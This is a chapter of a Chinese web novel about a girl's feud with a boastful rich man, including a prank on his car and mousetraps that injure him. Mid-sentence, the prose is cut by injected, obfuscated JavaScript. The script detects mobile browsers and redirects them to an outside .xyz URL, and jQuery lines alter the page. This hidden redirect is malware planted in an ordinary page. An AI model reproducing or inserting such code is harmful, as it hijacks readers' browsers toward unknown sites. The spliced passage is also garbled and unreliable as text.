21. 你去滋醒他

作品:《漂洋过海去打工

    白窦桦正式单方面与吴小卷拉开冷战序幕,这学也不习,那车也不开,连每天的口语训练都搁置不管了。


    吴小卷心知误会和心结一时半会儿没法解开,索性就让他冷静冷静,反正日后大牛表白成功了,白窦桦自会晓得谁是铁龟龟。


    不过这闺蜜暂时成敌蜜了,吴小卷下工后就只能苦兮兮地回家。


    回家不仅要忍受富贵哥侃大山散发油腻气息,还得听和自己一样消极情绪爆棚的老马他哥自怨自艾,一个劲儿地说都是他不好,如果不是他干完活还留在别人那里打牌,家里也就不会因为烧水壶插头没人拔进而引发火灾了。


    可以说是备受折磨。


    “别胡说,如果不是别人非要留你打牌,又不让你赶紧赢,你怎么会晚回家。”富贵哥几大口啃完苹果,边喷射汁水边教导老马他哥,“凡事少责怪自己,多从别人身上找原因。”


    “……”镇花把富贵哥顺手递过来的苹果核扔垃圾桶,回来坐下,说,“时间不早了。”


    她朝嘴噘得能拴头驴的吴小卷微使眼色。


    吴小卷立马就抬屁股起立赶人:“慢走不送哈,有钱人家的帅气少爷。”


    富贵哥被这称呼取悦,慢悠悠提着车钥匙出门走了。


    镇花呼出一口气,收拾屋子。


    吴小卷拉着老马进屋睡觉。


    老马他哥看着富贵哥坐过的地方,若有所思。


    *


    富贵哥越来越富有,才几天,又换一辆新车到处显摆。


    还让借宿在镇长家的老马和老马哥搬了出去,说是自己在隔壁镇承包了几块田,田边有一间临建房可以住,只要老马他哥以后能让那片土地顺利长出他想要的经济作物,就送给哥俩一套县城的房子,资助他们读书成家过好日子。


    全镇的人都夸他财大气粗。


    吴小卷眼红极了,指天痛骂老天不公平,凭什么,凭什么就不能让她莫名其妙当上富贵姐,而是让富贵哥这种人发大财。


    富贵哥根本就是德不配财。


    他从不允许小孩碰到他的车,如果做游戏时不小心挨到了,会拿专门的湿巾擦半天,说车被弄脏了。


    如果下一次要再停那儿,就干脆拿布把整个车身罩起来,并安装上带电流的汽车报警器,驱逐靠近的孩子们。


    镇花医术高明,镇民偶尔有个头疼脑热会来家里请她帮忙开个药扎个针,富贵哥看到了,也不管别人得的到底是不是传染病,扯出口罩就往脸上戴,拿着酒精枪朝病人和空气里到处乱滋,建议病人有病去医院,不要上镇长家麻烦镇花,非要来也行,按医院标准涨价20%收费。


    更离谱的是有一回,村霸请吴小卷帮忙跟他一起去贴小广告。


    吴小卷看印刷面上画着一个宝箱,没写宝箱里面有什么,只在宝箱下面留了几串数字,应该是哪里的电话号码。


    她问:“这是什么广告啊?”


    村霸说他也不知道,好像是富贵哥从上面官方那里领来,让一些村民帮忙张贴的,贴完能有不少钱。


    吴小卷:“贴完谁有不少钱,村民吗?”


    村霸:“不是。”


    是富贵哥拿钱。


    吴小卷气得踢村霸一屁股,村霸往前跑,她追上去再踢一屁股:“有钱他赚,有活我们干是吧!你是不是傻,啊!是不是傻!”


    傻大壮挨踢也坚决不违反自己的承诺,答应了富贵哥帮忙,就实心眼地一定要把手里厚厚的一沓小广告贴完。


    吴小卷双手抱臂跟在村霸后面冷笑,看他贴到什么时候。


    发现村霸随手一贴,贴了又掉,掉了又捡,她没好气道:“你会不会干活?!贴高一点、平坦一点的地方啊,又牢固又没人撕得到,别人贴其他的小广告也很难完全覆盖。”


    村霸无辜地扭头,递给吴小卷一张,征求意见:“你来?”


    于是吴小卷骑着村霸的脖子,亲自摸高去贴小广告。


    越贴越顺手,最后用广告纸把外墙上可爱的彩绘都遮挡了起来。


    ……


    贴完小广告回到家,吴小卷听到屋子里传来一阵谈话声,鬼鬼祟祟蹲墙角去听。


    ——是镇长和富贵哥。


    镇长:“孩子,我的女儿已经遇见了一个值得托付终身的人,二人两情相悦,不好再耽误你。”


    “谁啊?”富贵哥不以为意,嘲讽道,“他比我还有钱?比我还英俊?给镇委会捐了几个钱啊就敢挖我墙角。”


    吴小卷:“……”


    喷不了,这是真傻逼。


    她继续侧耳倾听。


    镇长:“是一位来镇里支教的绘画老师,财富上面比不了你,现在无车无房,还住在学校的职工宿舍里。”


    富贵哥嗤笑:“这条件,他也配。”


    镇长:“但是他愿意无偿给镇上的房屋设计彩绘外观,愿意牺牲休息时间辅导照顾无家长看管的学生,为人踏实谦逊,待人真诚、温柔、尊敬,有上进心和责任感……”


    富贵哥:“都是屁。”


    吴小卷翻白眼:你屁都不是。


    那天到了晚饭时间。


    富贵哥以夜间开车不安全为由,强行让镇长留他在家里住一晚,自顾自地去鸡棚捉鸡,说今晚要加餐。


    吴小卷亲眼看见那只勤勤恳恳按时下蛋的老母鸡扑棱着翅膀被富贵哥提出来。


    一盆热水染了血红。


    地上掉着一堆毛。


    这晚吴小卷罕见地没有陷入沉睡。


    半夜等所有人睡着过后,她蹑手蹑脚从床上爬起来,用厚厚的头巾蒙住下半张脸,端着夜壶出门,哗啦泼了富贵哥一车恶臭的“肥水”。


    翌日天刚亮。


    吴小卷没被生物钟叫醒,但被一种遭到冤鸡附身的生物吵醒。


    是富贵哥腆着肚子在院坝里破口大骂。


    吴小卷踢踏着鞋子跑出去。


    富贵哥的衣袖上沾了些污秽,气急败坏地指着车:“谁干的?!”


    吴小卷:“不知道哇。”


    富贵哥不管她知不知道,看见个人就要撒气。


    镇花及时出来把吴小卷拉到身后护住,请富贵哥进屋换身衣服。


    吴小卷在门外听见富贵哥一边换衣服,一边对镇花吐露污言秽语。


    吴小卷搓搓手指,心中升腾起一丝后悔。


    富贵哥这样的人,有老天爷偏袒,她和他作对,不应该在明面上。


    *


    富贵哥摇人把车拖走送去护理店清理,消停了没几天,换辆豪车,又来骚扰镇花。


    吴小卷实在忍不住了,不知在什么心理的驱动下,又跑到村里去和正在冷战的老乡噼里啪啦一顿倾诉,说她看见富贵哥搁镇花眼前晃就恶心。


    白窦桦点头。


    意思是他也觉得恶心。


    她请求白窦桦:“你尿黄,你去滋醒他。”


    白窦桦眼神微变:“你怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511581|185891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道我尿黄?”


    吴小卷说漏嘴了,捂着下半张脸,过了会儿琢磨这也没什么,干脆捅出来:“大牛告诉我的。”


    白窦桦无话可说。


    下一秒,又觉得必须要说点什么:“他是你的世界法则吗,告诉你什么你信什么。”


    吴小卷:“他是我的好朋友啊。”


    好朋友就算说话真假存疑也应该无条件当回事记得一下子。


    白窦桦起身就走。


    “诶,你别走啊。”吴小卷跟在他屁股后面,“你帮我想想办法,怎么才能让富贵哥放弃纠缠镇花啊?”


    白窦桦头也不回:“我尿黄,上火,问你的好朋友去。”


    吴小卷没问村霸,村霸又不能理解富贵哥的可恶之处,他还跟富贵哥一起打牌,当过富贵哥的小跟班。


    白窦桦不帮她,她就自己囤了些捕鼠夹,放置在富贵哥夜间吃完饭经常散步的小路中央,铺上干草作为伪装,第二天就听闻富贵哥负伤住院的消息传遍了村镇的大街小巷。


    屋里没了多余的人,那叫一个清静。


    村民们在讨论富贵哥的惨状,并对路上怎么会有捕鼠夹表示疑惑。


    白窦桦默默听墙角,面上不显,身上冷汗却湿了衣裳。


    他转身去往镇花家附近的案发现场。


    果然看见吴小卷正在清理杂草,回收剩下的捕鼠夹。


    白窦桦:“你这捕鼠夹威力再大点,那个暴发户可能就再也走不了路了。”


    吴小卷:“不会的,又不是捕兽夹,我手头有数,这种型号的捕鼠夹,最多暂时让他行动能力受限,以前那些人都只疼了几天就可以下床活——”


    说完才意识到自己嘴又漏了。


    抬起头,直面白窦桦没有表情的脸,吴小卷暗道一声啊欧。


    果然只听白窦桦冷笑一声,表扬她:“吴小卷,你当真有的是力气和手段。”


    就头也不回地走了。


    *


    由白窦桦发起的冷战升级,吴小卷贴脸sorry了两天他理都没理。


    这次吴小卷心虚理亏啊。


    毕竟如果当初吴小卷在进她家前没有提醒,白窦桦就极大概率会被当成“老鼠”夹肿一只脚,和吴小卷各瘸各的。


    第三天吴小卷去找白窦桦的时候连人都没有看见。


    村霸说他不在,吴小卷只当白窦桦在躲她。


    这问题可就大了,白窦桦那么嘴硬心软的人,轻易不会搞断联的。


    丰收的季节渐渐来临,农作物收割变卖后,镇子附近各个村子的村民终于能稍微卸下担子。


    白窦桦也不用定期辛勤搬运草木灰,吴小卷疑似失去所有力气和手段,只能怀着沉甸甸的心情等待一个让她致以诚挚歉意的时机。


    恰巧这时全能镇花打算给家里人做几套新衣服,问吴小卷喜欢什么颜色的布料。


    什么颜色都无所谓,吴小卷坐不住,屁股着火似的追在镇花身后问能不能申请把自己的名额让出来,给做一套男士的。


    她必须采取行动了,再不向白窦桦表示歉意,那她和白窦桦深厚的革命友谊就极有可能真正走向破裂。


    镇花当然不会拒绝吴小卷,问她想要什么款式的男装。


    吴小卷说出自己的要求,还画了两张简易图纸,镇花表示做这件衣服需要的材料镇上没有,她弄不了,但是会去县城找师傅帮忙定做。


    吴小卷感恩地亲了镇花一口。